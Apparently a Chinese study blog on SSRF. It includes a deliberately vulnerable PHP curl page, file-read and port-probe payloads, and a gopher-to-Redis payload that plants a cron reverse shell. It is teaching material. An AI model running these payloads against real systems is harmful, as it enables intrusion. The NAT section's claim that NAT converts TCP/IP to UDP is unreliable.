1.NAT学习
Nat(Network Address Translation,网络地址转换)是 一种网络通信技术主要用于将私有网络中的内部IP地址转换成公共网络中的公共IP地址,以实现局域网内部设备访问互联网的功能。具体来说,Nat有以下几个主要的作用和用途:
-
IP地址转换:Nat最主要的功能是在私有网络(如家庭、企业局域网)和公共网络(如互联网)之间转换IP地址。在私有网络中,设备通常使用私有IP地址(例如192.168.x.x),这些地址在互联网上不可路由和识别。Nat通过将这些私有IP地址映射到公共IP地址,使得内部设备可以与外部网络通信,同时隐藏了内部网络结构,提高了安全性。
-
IP地址共享:Nat允许多个设备共享单个公共IP地址。这种多对一的映射方式,节省了IP地址资源,特别是在IPv4地址资源稀缺的情况下,Nat可以缓解地址耗尽的问题。
-
安全性增强:Nat作为一种防火墙的一部分,能够隐藏内部网络的真实IP地址,使得外部网络无法直接访问到内部设备。这种隐匿性可以增加网络的安全性,防止一些未经授权的访问和攻击。
-
协议转换:Nat有时候也可以用于在不同网络协议之间进行转换,尽管这并不是其主要的功能。例如,将TCP/IP协议转换成UDP协议。
上图可以很好地阐述NAT的作用,在防火墙阻断两台主机的通信之时, 两台主机如何进行通信,其实就是运用了NAT:
两台主机分别为web1和web2,当我外部主机进行访问222.180.123.1:8081时,NAT就会立刻反应过来web1是要访问web2的,所以立刻就将他的目标ip改成了172 .16.0.254:80,进行了一轮端口映射后两台主机才能进行通信。
2.SSRF的漏洞成因
SSRF(service side request forgery)
攻击的目标:
从外网无法访问的内部系统
形成的原因:
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
很有可能引发SSRF的函数:
函数 | 作用 |
curl_exec() | 执行 cURL 会话 |
file_get_contents() | 将整个文件读入一个字符串 |
fsockopen() | 打开一个网络连接或者一个Unix套 接字连接 |
3.SSRF攻击方式
其实类似于攻击者无法直接攻击B,利用了A来做一个跳板。
如上图,假设攻击者要访问攻击codeeexec这台主机,在已经进行信息搜集的情况下,我只知道ip,但是却无法访问,但是我可以访问SSRF这台主机,所以利用SSRF这台主机当作跳板攻击codeexec主机,这就是SSRF的攻击过程。
4.SSRF攻击中那些常用的协议
file | 查看文件 | curl -v 'file:///etc/passwd' |
dict | 探测端口 | http://localhost/ssrf/ssrf1.php? url=dict://127.0.0.1:3306 |
gopher | 反弹shell | curl -v 'gopher://127.0.0.1:6325/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d% 0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3% 0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron /%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a $10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$ 4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
ps:dict协议:用于搭建在线字典服务
gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代
5.PHP_CURL学习
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。
漏洞页面代码:
<?php
function curl($url){
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
这串代码允许你与各种的服务器使用各种类型的协议进行连接和通讯,这里也同时引发了SSRF漏洞。
6.实战演练
file=php://filter/read=convert.base64-encode/resource=ssrf.php #base64读取本地文件
url=http://www.baidu.com #利用主机访问特定网站
url=file:///c:/a.txt #直接读取文件
http://google.com:80\\@127.88.23.245:22/ #@绕过
7/常用payload及工具:
项目地址:GitHub - cujanovic/SSRF-Testing:SSRF(服务器端请求伪造)测试资源
包含了DNS pinning,通过滥用 Ruby 原生解析器中的 bug 绕过服务器端请求伪造过滤器等很多payload
SSRF辅助生成payload工具:
项目地址:GitHub - tarunkant/Gopherus:此工具生成地鼠链接,用于在各种服务器中利用 SSRF 并获得 RCE
包含了以下的很多范围,是超级好用工具
- MySQL(端口-3306)
- PostgreSQL(端口-5432)
- FastCGI(端口-9000)
- Memcached (端口-11211)
- Redis(端口-6379)
- Zabbix (Port-10050)
- SMTP(端口-25)
工具的安装和使用自行去摸索,篇幅原因就不过多赘述。
最后,希望本文对学习SSRF的各位有所帮助,谢谢!
参考资料:重庆橙子科技陈腾老师-----<<SSRF学习课程>>